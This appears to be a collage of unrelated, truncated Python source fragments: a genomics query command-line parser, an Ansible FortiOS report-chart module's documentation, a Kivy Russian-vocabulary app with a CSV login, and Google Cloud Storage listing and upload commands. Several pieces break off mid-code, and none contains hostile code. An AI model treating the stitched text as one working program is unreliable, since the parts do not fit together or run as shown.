parser_loadchunk.add_argument('--max_queue',
dest= "max_queue",
default = 120,
type=int,
help="queue length (per core) for batched inserts to Cassandra")
parser_loadchunk.add_argument('--node_num',
dest="node_num",
default = 1,
type=int)
def loadchunk_fn(parser, args):
import gemini_load_chunk
gemini_load_chunk.load(parser, args)
parser_loadchunk.set_defaults(func=loadchunk_fn)
#########################################
# $ geminicassandra query
#########################################
parser_query = subparsers.add_parser('query',
help='issue ad hoc SQL queries to the DB')
parser_query.add_argument('-db', dest='contact_points',
default = "127.0.0.1",
help='The IP adresses at which the Cassandra cluster is reachable.')
parser_query.add_argument('-ks', dest='keyspace',
default = "gemini_keyspace",
help='The Cassandra keyspace in which the data is stored.')
parser_query.add_argument('-q',
dest='query',
metavar='QUERY_STR',
help='The query to be issued to the database')
parser_query.add_argument('--gt-filter',
dest='gt_filter',
metavar='STRING',
help='Restrictions to apply to genotype values')
parser_query.add_argument('--show-samples',
dest='show_variant_samples',
action='store_true',
default=False,
help=('Add a column of all sample names with a variant to each '
'variant.'))
parser_query.add_argument('--show-families',
dest='show_families',
action='store_true',
default=False,
help=('Add a column listing all of the families '
'with a variant to each variant.'))
parser_query.add_argument('--family-wise',
dest='family_wise',
default=False,
action='store_true',
help=('Perform the sample-filter on a family-wise '
'basis.'))
parser_query.add_argument('--min-kindreds',
dest='min_kindreds',
default=1,
type=int,
help=('Minimum number of families for a variant passing '
'a family-wise filter to be in.'))
parser_query.add_argument('--sample-delim',
dest='sample_delim',
metavar='STRING',
help='The delimiter to be used with the --show-samples option.',
default=',')
parser_query.add_argument('--cores',
dest='cores',
default=1,
type=int,
help="Number of cores to use to interpret gt-filter wildcards in parallel.")
parser_query.add_argument('--header',
dest='use_header',
action='store_true',
help='Add a header of column names to the output.',
default=False)
parser_query.add_argument('--sample-filter',
dest='sample_filter',
help='SQL filter to use to filter the sample table',
default=None)
parser_query.add_argument('--in',
dest='in_subject',
nargs='*',
help=('A variant must be in either all, none or any '
'samples passing the --sample-query filter.'),
choices=['all', 'none', 'any', 'only', 'not'],
default=['any'])
parser_query.add_argument('--format',
dest='format',
default='default',
help='Format of output (JSON, TPED or default)')
parser_query.add_argument('--region',
dest='region',
default=None,
help=('Restrict query to this region, '
'e.g. chr1:10-20.'))
parser_query.add_argument('--carrier-summary-by-phenotype',
dest='carrier_summary',
default=None,
help=('Output columns of counts of carriers and '
'non-carriers stratified by the given '
'sample phenotype column'))
parser_query.add_argument('--dgidb',
dest='dgidb',
action='store_true',
help='Request drug-gene interaction info from DGIdb.',
default=False)
parser_query.add_argument('--test-mode',
dest='testing',
action='store_true',
help='Sort variants by start, samples by sample_id. ONLY TO BE USED FOR UNIT TESTS',
default=False)
parser_query.add_argument('--exp_id',
dest='exp_id',
default='hoebahoeba')
parser_query.add_argument('-timeout',
dest='timeout',
default=10.0,
type=float)
parser_query.add_argument('-batch_size',
dest='batch_size',
default=50,
type=int)
def query_fn(parser, args):
import gemini_query
gemini_query.query(parser, args)
parser_query.set_defaults(func=query_fn)
#########################################
# $ geminicassandra region
#########################################
parser_region = subparsers.add_parser('region',
help='extract variants from specific genomic loci')
parser_region.add_argument('-db', dest='contact_points',
default = "127.0.0.1",
help='The IP adresses at which the Cassandra cluster is reachable.')
parser_region.add_argument('--reg',
dest='region',
metavar='STRING',
help='Specify a chromosomal region chr:start-end')
parser_region.add_argument('--gene',
dest='gene',
metavar='STRING',
help='Specify a gene of interest')
parser_region.add_argument('--header',
dest='use_header',
action='store_true',
help='Add a header of column names to the output.',
default=False)
parser_region.add_argument('--columns',
dest='columns',
metavar='STRING',
help='A list of columns that you would like returned. Def. = "*"',
| |
<reponame>gvashchenkolineate/gvashchenkolineate_infra_trytravis
#!/usr/bin/python
from __future__ import (absolute_import, division, print_function)
# Copyright 2019 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
__metaclass__ = type
ANSIBLE_METADATA = {'status': ['preview'],
'supported_by': 'community',
'metadata_version': '1.1'}
DOCUMENTATION = '''
---
module: fortios_report_chart
short_description: Report chart widget configuration in Fortinet's FortiOS and FortiGate.
description:
- This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the
user to set and modify report feature and chart category.
Examples include all parameters and values need to be adjusted to datasources before usage.
Tested with FOS v6.0.5
version_added: "2.8"
author:
- <NAME> (@mamunozgonzalez)
- <NAME> (@thomnico)
notes:
- Requires fortiosapi library developed by Fortinet
- Run as a local_action in your playbook
requirements:
- fortiosapi>=0.9.8
options:
host:
description:
- FortiOS or FortiGate IP address.
type: str
required: false
username:
description:
- FortiOS or FortiGate username.
type: str
required: false
password:
description:
- FortiOS or FortiGate password.
type: str
default: ""
vdom:
description:
- Virtual domain, among those defined previously. A vdom is a
virtual instance of the FortiGate that can be configured and
used as a different unit.
type: str
default: root
https:
description:
- Indicates if the requests towards FortiGate must use HTTPS protocol.
type: bool
default: true
ssl_verify:
description:
- Ensures FortiGate certificate must be verified by a proper CA.
type: bool
default: true
version_added: 2.9
state:
description:
- Indicates whether to create or remove the object.
This attribute was present already in previous version in a deeper level.
It has been moved out to this outer level.
type: str
required: false
choices:
- present
- absent
version_added: 2.9
report_chart:
description:
- Report chart widget configuration.
default: null
type: dict
suboptions:
state:
description:
- B(Deprecated)
- Starting with Ansible 2.9 we recommend using the top-level 'state' parameter.
- HORIZONTALLINE
- Indicates whether to create or remove the object.
type: str
required: false
choices:
- present
- absent
background:
description:
- Chart background.
type: str
category:
description:
- Category.
type: str
choices:
- misc
- traffic
- event
- virus
- webfilter
- attack
- spam
- dlp
- app-ctrl
- vulnerability
category_series:
description:
- Category series of pie chart.
type: dict
suboptions:
databind:
description:
- Category series value expression.
type: str
font_size:
description:
- Font size of category-series title.
type: int
color_palette:
description:
- Color palette (system will pick color automatically by default).
type: str
column:
description:
- Table column definition.
type: list
suboptions:
detail_unit:
description:
- Detail unit of column.
type: str
detail_value:
description:
- Detail value of column.
type: str
footer_unit:
description:
- Footer unit of column.
type: str
footer_value:
description:
- Footer value of column.
type: str
header_value:
description:
- Display name of table header.
type: str
id:
description:
- ID.
required: true
type: int
mapping:
description:
- Show detail in certain display value for certain condition.
type: list
suboptions:
displayname:
description:
- Display name.
type: str
id:
description:
- id
required: true
type: int
op:
description:
- Comparison operator.
type: str
choices:
- none
- greater
- greater-equal
- less
- less-equal
- equal
- between
value_type:
description:
- Value type.
type: str
choices:
- integer
- string
value1:
description:
- Value 1.
type: str
value2:
description:
- Value 2.
type: str
comments:
description:
- Comment.
type: str
dataset:
description:
- Bind dataset to chart.
type: str
dimension:
description:
- Dimension.
type: str
choices:
- 2D
- 3D
drill_down_charts:
description:
- Drill down charts.
type: list
suboptions:
chart_name:
description:
- Drill down chart name.
type: str
id:
description:
- Drill down chart ID.
required: true
type: int
status:
description:
- Enable/disable this drill down chart.
type: str
choices:
- enable
- disable
favorite:
description:
- Favorite.
type: str
choices:
- no
- yes
graph_type:
description:
- Graph type.
type: str
choices:
- none
- bar
- pie
- line
- flow
legend:
description:
- Enable/Disable Legend area.
type: str
choices:
- enable
- disable
legend_font_size:
description:
- Font size of legend area.
type: int
name:
description:
- Chart Widget Name
required: true
type: str
period:
description:
- Time period.
type: str
choices:
- last24h
- last7d
policy:
description:
- Used by monitor policy.
type: int
style:
description:
- Style.
type: str
choices:
- auto
- manual
title:
description:
- Chart title.
type: str
title_font_size:
description:
- Font size of chart title.
type: int
type:
description:
- Chart type.
type: str
choices:
- graph
- table
value_series:
description:
- Value series of pie chart.
type: dict
suboptions:
databind:
description:
- Value series value expression.
type: str
x_series:
description:
- X-series of chart.
type: dict
suboptions:
caption:
description:
- X-series caption.
type: str
caption_font_size:
description:
- X-series caption font size.
type: int
databind:
description:
- X-series value expression.
type: str
font_size:
description:
- X-series label font size.
type: int
is_category:
description:
- X-series represent category or not.
type: str
choices:
- yes
- no
label_angle:
description:
- X-series label angle.
type: str
choices:
- 45-degree
- vertical
- horizontal
scale_direction:
description:
- Scale increase or decrease.
type: str
choices:
- decrease
- increase
scale_format:
description:
- Date/time format.
type: str
choices:
- YYYY-MM-DD-HH-MM
- YYYY-MM-DD HH
- YYYY-MM-DD
- YYYY-MM
- YYYY
- HH-MM
- MM-DD
scale_step:
description:
- Scale step.
type: int
scale_unit:
description:
- Scale unit.
type: str
choices:
- minute
- hour
- day
- month
- year
unit:
description:
- X-series unit.
type: str
y_series:
description:
- Y-series of chart.
type: dict
suboptions:
caption:
description:
- Y-series caption.
type: str
caption_font_size:
description:
- Y-series caption font size.
type: int
databind:
description:
- Y-series value expression.
type: str
extra_databind:
description:
- Extra Y-series value.
type: str
extra_y:
description:
- Allow another Y-series value
type: str
choices:
- enable
- disable
extra_y_legend:
description:
- Extra Y-series legend type/name.
type: str
font_size:
description:
- Y-series label font size.
type: int
group:
description:
- Y-series group option.
type: str
label_angle:
description:
- Y-series label angle.
type: str
choices:
- 45-degree
- vertical
- horizontal
unit:
description:
- Y-series unit.
type: str
y_legend:
description:
- First Y-series legend type/name.
type: str
'''
EXAMPLES = '''
- hosts: localhost
vars:
host: "192.168.122.40"
username: "admin"
password: ""
vdom: "root"
ssl_verify: "False"
tasks:
- name: Report chart widget configuration.
fortios_report_chart:
host: "{{ host }}"
username: "{{ username }}"
password: "{{ password }}"
vdom: "{{ vdom }}"
https: "False"
state: "present"
report_chart:
background: "<your_own_value>"
category: "misc"
category_series:
databind: "<your_own_value>"
font_size: "7"
color_palette: "<your_own_value>"
column:
-
detail_unit: "<your_own_value>"
detail_value: "<your_own_value>"
footer_unit: "<your_own_value>"
footer_value: "<your_own_value>"
header_value: "<your_own_value>"
id: "15"
mapping:
-
displayname: "<your_own_value>"
id: "18"
op: "none"
value_type: "integer"
value1: "<your_own_value>"
value2: "<your_own_value>"
comments: "<your_own_value>"
dataset: "<your_own_value>"
dimension: "2D"
drill_down_charts:
-
chart_name: "<your_own_value>"
id: "28"
status: "enable"
favorite: "no"
graph_type: "none"
legend: "enable"
legend_font_size: "33"
name: "default_name_34"
period: "last24h"
policy: "36"
style: "auto"
title: "<your_own_value>"
title_font_size: "39"
type: "graph"
value_series:
databind: "<your_own_value>"
x_series:
caption: "<your_own_value>"
caption_font_size: "45"
databind: "<your_own_value>"
font_size: "47"
is_category: "yes"
label_angle: "45-degree"
scale_direction: "decrease"
scale_format: "YYYY-MM-DD-HH-MM"
scale_step: "52"
scale_unit: "minute"
unit: "<your_own_value>"
y_series:
caption: "<your_own_value>"
caption_font_size: "57"
databind: "<your_own_value>"
extra_databind: "<your_own_value>"
extra_y: "enable"
extra_y_legend: "<your_own_value>"
font_size: "62"
group: "<your_own_value>"
label_angle: "45-degree"
unit: "<your_own_value>"
y_legend: "<your_own_value>"
'''
RETURN = '''
build:
description: Build number of the fortigate image
returned: always
type: str
sample: '1547'
http_method:
description: Last method used to provision the content into FortiGate
returned: always
type: str
sample: 'PUT'
http_status:
description: Last result given by | |
<reponame>Rozkipz/RPSTask<gh_stars>0
# -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
import pygame
import time
import sys
import hashlib
import random
import csv
import fileinput
import kivy
kivy.require('1.1.3')
from kivy.app import App
from kivy.uix.widget import Widget
from kivy.uix.button import Button
from kivy.uix.gridlayout import GridLayout
from kivy.uix.stacklayout import StackLayout
from kivy.uix.label import Label
from kivy.uix.textinput import TextInput
from kivy.uix.layout import Layout
from kivy.config import Config
from kivy.core.audio import SoundLoader
class LoginScreen(GridLayout):
def __init__(self, **kwargs):
super(LoginScreen, self).__init__(**kwargs)
self.cols = 1
self.padding = 100
self.spacing = 20
self.add_widget(Label(text='Welcome to the Russian Language Aid!'))
self.btrn1 = Button(text='Press to continue')
self.btrn1.bind(on_press=self.Menu)
self.add_widget(self.btrn1)
def Menu(self, *args):
self.clear_widgets()
self.cols = 2
self.Userlabel = (Label(text='User Name'))
self.add_widget(self.Userlabel)
self.UserName = TextInput(multiline=False)
self.add_widget(self.UserName)
self.Passlabel = Label(text='Password')
self.add_widget(self.Passlabel)
self.PassWord = TextInput(password=True, multiline=False)
self.add_widget(self.PassWord)
self.Blank = Label(text='\n')
self.Blank2 = Label(text='\n')
self.add_widget(self.Blank)
self.add_widget(self.Blank2)
self.btrn1 = Button(text='Create Account')
self.btrn1.bind(on_press=lambda x=self.CreateAccount: self.CreateAccount())
self.add_widget(self.btrn1)
self.btrn2 = Button(text='Log in')
self.add_widget(self.btrn2)
self.btrn2.bind(on_press=lambda x=self.readUser: self.readUser(self.UserName.text, self.PassWord.text))
def CreateAccount(self, *args):
self.clear_widgets()
self.cols = 2
self.add_widget(Label(text='User Name'))
self.username = TextInput(multiline=False)
self.add_widget(self.username)
self.add_widget(Label(text='Password'))
self.password = TextInput(password=True, multiline=False)
self.add_widget(self.password)
self.add_widget(Label(text='\n'))
self.add_widget(Label(text='\n'))
self.btrn5 = Button(text='Create Account')
self.btrn5.bind(on_press=lambda x=self.username.text, y=self.password.text: self.createUser(self.username.text,
self.password.text))
self.add_widget(self.btrn5)
self.btrn6 = Button(text='Return to menu')
self.btrn6.bind(on_press=self.Menu)
self.add_widget(self.btrn6)
def UserExist(self, *args):
self.clear_widgets()
self.cols = 1
self.add_widget(Label(text='That username already exists, please pick another'))
self.add_widget(Label(text='\n'))
self.btrn1 = Button(text='Try again')
self.btrn1.bind(on_press=self.CreateAccount)
self.add_widget(self.btrn1)
self.btrn2 = Button(text='Back to Menu')
self.btrn2.bind(on_press=self.Menu)
self.add_widget(self.btrn2)
def MainMenu(self, *args):
self.clear_widgets()
self.cols = 1
self.btrn1 = Button(text='Listen To Words')
self.btrn1.bind(on_press=self.SortPage)
self.add_widget(self.btrn1)
self.btrn2 = Button(text='Test Yourself')
self.btrn2.bind(on_press=self.Test)
self.add_widget(self.btrn2)
self.btrn3 = Button(text='Reset Your Progress')
self.add_widget(self.btrn3)
self.btrn3.bind(on_press=self.Reset1)
self.add_widget(Label(text='\n'))
self.btrn4 = Button(text='Log Out')
self.btrn4.bind(on_press=self.Menu)
self.add_widget(self.btrn4)
def Reset1(self, *args):
self.clear_widgets()
self.cols = 3
self.add_widget(Label(text='\n'))
self.add_widget(Label(text='Are you sure you want to delete your progress?'))
self.add_widget(Label(text='\n'))
self.btrn1 = Button(text='Yes')
self.btrn1.bind(on_press=self.Reset2)
self.add_widget(self.btrn1)
self.add_widget(Label(text='\n'))
self.btrn2 = Button(text='No')
self.btrn2.bind(on_press=self.Reset3)
self.add_widget(self.btrn2)
def Reset2(self, *args):
self.clear_widgets()
self.cols = 1
createWordBoxes(MP3Files, X)
self.add_widget(Label(text='Your progress has been reset'))
self.add_widget(Label(text='\n'))
self.add_widget(Label(text='\n'))
self.btrn1 = Button(text='Return to menu')
self.btrn1.bind(on_press=self.Menu)
self.add_widget(self.btrn1)
def Reset3(self, *args):
self.clear_widgets()
self.cols = 1
self.add_widget(Label(text='Your progress has not been reset'))
self.add_widget(Label(text='\n'))
self.add_widget(Label(text='\n'))
self.btrn1 = Button(text='Return to menu')
self.btrn1.bind(on_press=self.MainMenu)
self.add_widget(self.btrn1)
def SortPage(self, *args):
self.clear_widgets()
self.rows = 6
Num = 0
self.btrn1 = Button(text='Sort alphabetically (English)')
self.btrn1.bind(on_press=lambda btn=None, x=self.btrn1, Num1=Num: self.WordTie(btn, x.text, Num1))
self.add_widget(self.btrn1)
self.btrn2 = Button(text='Sort alphabetically (Russian)')
self.btrn2.bind(on_press=lambda btn=None, x=self.btrn2, Num1=Num: self.WordTie(btn, x.text, Num1))
self.add_widget(self.btrn2)
self.btrn3 = Button(text='Sort by word length (English)')
self.btrn3.bind(on_press=lambda btn=None, x=self.btrn3, Num1=Num: self.WordTie(btn, x.text, Num1))
self.add_widget(self.btrn3)
self.btrn4 = Button(text='Sort by word length (Russian)')
self.btrn4.bind(on_press=lambda btn=None, x=self.btrn4, Num1=Num: self.WordTie(btn, x.text, Num1))
self.add_widget(self.btrn4)
self.add_widget(Label(text='\n'))
self.btrn5 = Button(text='Return to menu')
self.btrn5.bind(on_press=self.MainMenu)
self.add_widget(self.btrn5)
def PlayMp3File(self, btn, path, *args):
print path
pygame.mixer.init()
pygame.mixer.music.load(("I:\\" + path))
pygame.mixer.music.play()
def GetAttributes(self, L, RUS, word, *args):
if RUS:
for item in MP3Files:
if word[L] == item.russian:
Path = item.path
Eng = item.english
Rus = item.russian
Length = item.length
elif not RUS:
for item in MP3Files:
if word[L] == item.english:
Path = item.path
Eng = item.english
Rus = item.russian
Length = item.length
return Path, Eng, Rus, Length
def RusOrEng(self, y, *args):
word = []
if y == 'Sort alphabetically (Russian)':
for rus in sortingrus(MP3Files):
word.append(rus)
RUS = True
elif y == 'Sort by word length (English)':
for leng in leneng(MP3Files):
word.append(leng)
RUS = False
elif y == 'Sort by word length (Russian)':
for lrus in lenrus(MP3Files):
word.append(lrus)
RUS = True
else:
for eng in sortingeng(MP3Files):
word.append(eng)
RUS = False
return word, RUS
def WordTie(self, btn, Option, Num, *args):
if Num < len(MP3Files) and Num >= 0:
word, RUS = self.RusOrEng(Option)
Path, Eng, Rus, Length = self.GetAttributes(Num, RUS, word)
self.WordListen(Path, Eng, Rus, Length, Option, Num)
else:
self.MainMenu
def WordListen(self, Path, Eng, Rus, Length, Option, Num, *args):
self.clear_widgets()
self.PlayMp3File('btn', Path)
self.cols = 3
self.add_widget(Label(text='\n'))
self.EngLabel = Label(text=Eng)
self.add_widget(self.EngLabel)
self.add_widget(Label(text='\n'))
self.add_widget(Label(text='\n'))
self.add_widget(Label(text=Rus))
self.add_widget(Label(text='\n'))
self.btrn1 = Button(text='Previous word')
self.add_widget(self.btrn1)
self.btrn1.bind(on_press=lambda btn=None, Option1=Option, Num1=Num - 1: self.WordTie(btn, Option1, Num1))
self.btrn2 = Button(text='Replay word')
self.btrn2.bind(on_press=lambda btn=None, Path=Path: self.PlayMp3File(btn, Path))
self.add_widget(self.btrn2)
self.btrn3 = Button(text='Next word')
self.btrn3.bind(on_press=lambda btn=None, Option1=Option, Num1=Num + 1: self.WordTie(btn, Option1, Num1))
self.add_widget(self.btrn3)
self.add_widget(Label(text='\n'))
self.btrn4 = Button(text='Return to menu')
self.btrn4.bind(on_press=self.MainMenu)
self.add_widget(self.btrn4)
def Test(self, *args):
RandomRus = random.randint(1, 2)
if RandomRus == 1:
Option = 'Sort alphabetically (Russian)'
else:
Option = 'Sort by word length (English)'
NOTUSED, RUS = self.RusOrEng(Option)
word = pickWord()
RanNum = random.randint(1, len(word))
for item in MP3Files:
if word == item.english:
Path = item.path
Eng = item.english
Rus = item.russian
Length = item.length
r = pickWord()
s = pickWord()
t = pickWord()
if r or s or t == word:
r = pickWord()
s = pickWord()
t = pickWord()
for item in MP3Files:
if r == item.english:
Pathr = item.path
Engr = item.english
Rusr = item.russian
Lengthr = item.length
for item in MP3Files:
if s == item.english:
Paths = item.path
Engs = item.english
Russ = item.russian
Lengths = item.length
for item in MP3Files:
if t == item.english:
Patht = item.path
Engt = item.english
Rust = item.russian
Lengtht = item.length
wordlist = []
if RUS:
WordDisplayed = Eng
CorrectWord = Rus
wordlist.append(Rus)
wordlist.append(Rusr)
wordlist.append(Russ)
wordlist.append(Rust)
else:
WordDisplayed = Rus
CorrectWord = Eng
wordlist.append(Eng)
wordlist.append(Engr)
wordlist.append(Engs)
wordlist.append(Engt)
random.shuffle(wordlist)
self.PlayMp3File('btn', Path)
self.clear_widgets()
self.cols = 3
self.add_widget(Label(text='\n'))
self.add_widget(Label(text=WordDisplayed))
self.add_widget(Label(text='\n'))
self.btrn1 = Button(text=wordlist[0])
self.btrn1.bind(
on_press=lambda btn=None, Guess=self.btrn1.text, Actual=CorrectWord: self.Determine(btn, Guess, Actual))
self.add_widget(self.btrn1)
self.add_widget(Label(text='\n'))
self.btrn2 = Button(text=wordlist[1])
self.btrn2.bind(
on_press=lambda btn=None, Guess=self.btrn2.text, Actual=CorrectWord: self.Determine(btn, Guess, Actual))
self.add_widget(self.btrn2)
self.btrn3 = Button(text=wordlist[2])
self.btrn3.bind(
on_press=lambda btn=None, Guess=self.btrn3.text, Actual=CorrectWord: self.Determine(btn, Guess, Actual))
self.add_widget(self.btrn3)
self.add_widget(Label(text='\n'))
self.btrn4 = Button(text=wordlist[3])
self.btrn4.bind(
on_press=lambda btn=None, Guess=self.btrn4.text, Actual=CorrectWord: self.Determine(btn, Guess, Actual))
self.add_widget(self.btrn4)
self.add_widget(Label(text='\n'))
self.add_widget(Label(text='\n'))
self.add_widget(Label(text='\n'))
self.add_widget(Label(text='\n'))
self.btrn5 = Button(text='Return to menu')
self.btrn5.bind(on_press=self.MainMenu)
self.add_widget(self.btrn5)
def Determine(self, btn, Guess, Actual, *args):
if Guess == Actual:
self.Correct(Guess, Actual)
else:
self.Incorrect(Guess, Actual)
def Correct(self, Guess, Actual, *args):
updateFileName(Actual, increase=True, reset=False)
self.clear_widgets()
self.cols = 1
self.add_widget(Label(text='Correct!'))
self.btrn1 = Button(text='Press for next question')
self.btrn1.bind(on_press=self.Test)
self.add_widget(self.btrn1)
def Incorrect(self, Guess, Actual, *args):
updateFileName(Actual, increase=False, reset=True)
self.clear_widgets()
self.cols = 1
self.add_widget(Label(text='Your answer was incorrect'))
self.btrn1 = Button(text='Press for next question')
self.btrn1.bind(on_press=self.Test)
self.add_widget(self.btrn1)
def createUser(self, User, Pass, *args):
'''This creates a new user and their password in the UserPass.csv file and creates a new word box for them, with their username.'''
c = csv.reader(open("UserPass.csv", "rb"))
x = False
for row in c:
print row[0] + 'Row[0]'
print User + 'User'
if row[0] == User:
print 'Hello'
x = True
if x == True:
self.UserExist()
elif x == False:
createWordBoxes(MP3Files, User)
x = encrypt(Pass)
p = csv.writer(open("UserPass.csv", "a"))
p.writerow([User, x])
self.Menu()
def readUser(self, User, Pass, *args):
'''This reads the CSV file and compares the input username/password to
each username/password in the UserPass.csv file.'''
c = csv.reader(open("UserPass.csv", "rb"))
x = False
global X
X = User
for row in c:
print row
if row[0] == User and row[1] == encrypt(Pass):
x = True
print x
break
if x == True:
global X
X = User
print '\n'
self.MainMenu()
elif x == False:
self.WrongPass()
def WrongPass(self, *args):
self.clear_widgets()
self.cols = 1
self.add_widget(Label(text='Wrong Username Or Password'))
self.add_widget(Label(text='\n'))
self.btrn5 = Button(text='Return to menu')
self.btrn5.bind(on_press=self.Menu)
self.add_widget(self.btrn5)
class RussianApp(App):
title = 'Russian Learning Program'
def build(self):
return LoginScreen()
class MP3File:
'''Allows for an instance of this to be made'''
def __init__(self, path, russian, english, length):
self.path = path
self.russian = russian
self.english = english
self.length = length
def files():
'''This creates a list of objects. It can be referenced by files.[attribute]
It gets them from the .xml file'''
mp3files = []
for word in root.findall('file'):
path = word.get('path')
russian = word.find('word').text
english = word.find('english').text
length = word.find('length').text
mp3files.append(MP3File(path, russian, english, length))
return mp3files
def sortingeng(files):
'''This sorts the list of files alphabetically in English'''
english = []
x = len(files)
for i in range(x):
english.append(files[i].english)
return sorted(english, key=str.lower)
def lenrus(files):
'''Sorts the list of files by length of the English word'''
length = []
for i in range(len(files)):
length.append(files[i].russian)
return sorted(length, key=len)
def leneng(files):
'''Sorts the list of files by length of the English word'''
length = []
for i in range(len(files)):
length.append(files[i].english)
return sorted(length, key=len)
def sortingrus(files):
'''Sorts the list of files alphabetically in Russian'''
russian = []
for i in range(len(files)):
russian.append(files[i].russian)
sortedruss = sorted(russian, key=unicode.lower)
rus = []
for i in sortedruss:
rus.append(i)
return rus
def sortreverse(lis):
'''This reverses a list'''
p = []
for i in reversed(lis):
p.append(i)
return p
def PlayMp3File(path, eng, item, n=1):
'''This plays the sound | |
info <cloud-path> [...]
# Get folder info
eta gcs info --folder <cloud-path> [...]
"""
@staticmethod
def setup(parser):
parser.add_argument(
"paths",
nargs="+",
metavar="CLOUD_PATH",
help="path(s) to GCS files",
)
parser.add_argument(
"-f",
"--folder",
action="store_true",
help="whether the provided" "paths are folders, not files",
)
@staticmethod
def execute(parser, args):
client = etast.GoogleCloudStorageClient()
if args.folder:
metadata = [client.get_folder_metadata(p) for p in args.paths]
_print_gcs_folder_info_table(metadata)
return
metadata = [client.get_file_metadata(path) for path in args.paths]
_print_gcs_file_info_table(metadata)
class GCSListCommand(Command):
"""List contents of a GCS folder.
Examples:
# List folder contents
eta gcs list gs://<bucket>/<prefix>
# List folder contents recursively
eta gcs list gs://<bucket>/<prefix> --recursive
# List folder contents according to the given query
eta gcs list gs://<bucket>/<prefix>
[--recursive]
[--limit <limit>]
[--search [<field><operator>]<str>[,...]]
[--sort-by <field>]
[--ascending]
[--count]
# List the last 10 modified files that contain "test" in any field
eta gcs list gs://<bucket>/<prefix> \\
--search test --limit 10 --sort-by last_modified
# List files whose size is 10-20MB, from smallest to largest
eta gcs list gs://<bucket>/<prefix> \\
--search 'size>10MB,size<20MB' --sort-by size --ascending
# List files that were uploaded before November 26th, 2019, recurisvely
# traversing subfolders, and display the count
eta gcs list gs://<bucket>/<prefix> \\
--recursive --search 'last modified<2019-11-26' --count
Search syntax:
The generic search syntax is:
--search [<field><operator>]<str>[,...]
where:
<field> an optional field name on which to search
<operator> an optional operator to use when evaluating matches
<str> the search string
If <field><operator> is omitted, the search will match any records for
which any column contains the given search string.
Multiple searches can be specified as a comma-separated list. Records
must match all searches in order to appear in the search results.
The supported fields are:
field type description
------------- -------- ------------------------------------------
bucket string the name of the bucket
name string the name of the object in the bucket
size bytes the size of the object
type string the MIME type of the object
last modified datetime the date that the object was last modified
Fields are case insensitive, and underscores can be used in-place of
spaces.
The meaning of the operators are as follows:
operator type description
--------- ---------- --------------------------------------------------
: contains the field contains the search string
== comparison the search string is equal to the field
< comparison the search string is less than the field
<= comparison the search string is less or equal to the field
> comparison the search string is greater than the field
>= comparison the search string is greater or equal to the field
For contains (":") queries, the search/record values are parsed as
follows:
type description
-------- --------------------------------------------------------------
string the search and record are treated as strings
bytes the search is treated as a string, and the record is converted
to a human-readable bytes string
datetime the search is treated as a string, and the record is rendered
as a string in "%Y-%m-%d %H:%M:%S %Z" format in local timezone
For comparison ("==", "<", "<=", ">", ">=") queries, the search/record
values are parsed as follows:
type description
-------- ------------------------------------------------------------
string the search and record are treated as strings
bytes the search must be a human-readable bytes string, which is
converted to numeric bytes for comparison with the record
datetime the search must be an ISO time string, which is converted to
a datetime for comparison with the record. If no timezone is
included in the search, local time is assumed
You can include special characters (":", "=", "<", ">", ",") in search
strings by escaping them with "\\".
"""
@staticmethod
def setup(parser):
parser.add_argument(
"folder", metavar="CLOUD_DIR", help="the GCS folder to list"
)
parser.add_argument(
"-r",
"--recursive",
action="store_true",
help="whether to " "recursively list the contents of subfolders",
)
parser.add_argument(
"-l",
"--limit",
metavar="LIMIT",
type=int,
default=-1,
help="limit the number of files listed",
)
parser.add_argument(
"-s",
"--search",
metavar="SEARCH",
help="search to limit results when listing files",
)
parser.add_argument(
"--sort-by",
metavar="FIELD",
help="field to sort by when listing files",
)
parser.add_argument(
"--ascending",
action="store_true",
help="whether to sort in ascending order",
)
parser.add_argument(
"-c",
"--count",
action="store_true",
help="whether to show the number of files in the list",
)
@staticmethod
def execute(parser, args):
client = etast.GoogleCloudStorageClient()
metadata = client.list_files_in_folder(
args.folder, recursive=args.recursive, return_metadata=True
)
metadata = _filter_records(
metadata,
args.limit,
args.search,
args.sort_by,
args.ascending,
_GCS_SEARCH_FIELDS_MAP,
)
_print_gcs_file_info_table(metadata, show_count=args.count)
class GCSUploadCommand(Command):
"""Upload file to GCS.
Examples:
# Upload file
eta gcs upload <local-path> <cloud-path>
"""
@staticmethod
def setup(parser):
parser.add_argument(
"local_path",
metavar="LOCAL_PATH",
help="the path to the file to " "upload",
)
parser.add_argument(
"cloud_path",
metavar="CLOUD_PATH",
help="the path to the GCS " "object to create",
)
parser.add_argument(
"-t",
"--content-type",
metavar="TYPE",
help="an optional content "
"type of the file. By default, the type is guessed from the "
"filename",
)
parser.add_argument(
"-s",
"--chunk-size",
metavar="SIZE",
type=int,
help="an optional " "chunk size (in bytes) to use",
)
@staticmethod
def execute(parser, args):
client = etast.GoogleCloudStorageClient(chunk_size=args.chunk_size)
print("Uploading '%s' to '%s'" % (args.local_path, args.cloud_path))
client.upload(
args.local_path, args.cloud_path, content_type=args.content_type
)
class GCSUploadDirectoryCommand(Command):
"""Upload directory to GCS.
Examples:
# Upload directory
eta gcs upload-dir <local-dir> <cloud-dir>
# Upload-sync directory
eta gcs upload-dir --sync <local-dir> <cloud-dir>
"""
@staticmethod
def setup(parser):
parser.add_argument(
"local_dir",
metavar="LOCAL_DIR",
help="the directory of files to " "upload",
)
parser.add_argument(
"cloud_dir",
metavar="CLOUD_DIR",
help="the GCS directory to " "upload into",
)
parser.add_argument(
"--sync",
action="store_true",
help="whether to sync the GCS"
"directory to match the contents of the local directory",
)
parser.add_argument(
"-o",
"--overwrite",
action="store_true",
help="whether to "
"overwrite existing files; only valid in `--sync` mode",
)
parser.add_argument(
"-r",
"--recursive",
action="store_true",
help="whether to "
"recursively upload the contents of subdirecotires",
)
parser.add_argument(
"-s",
"--chunk-size",
metavar="SIZE",
type=int,
help="an optional " "chunk size (in bytes) to use",
)
@staticmethod
def execute(parser, args):
client = etast.GoogleCloudStorageClient(chunk_size=args.chunk_size)
if args.sync:
client.upload_dir_sync(
args.local_dir,
args.cloud_dir,
overwrite=args.overwrite,
recursive=args.recursive,
)
else:
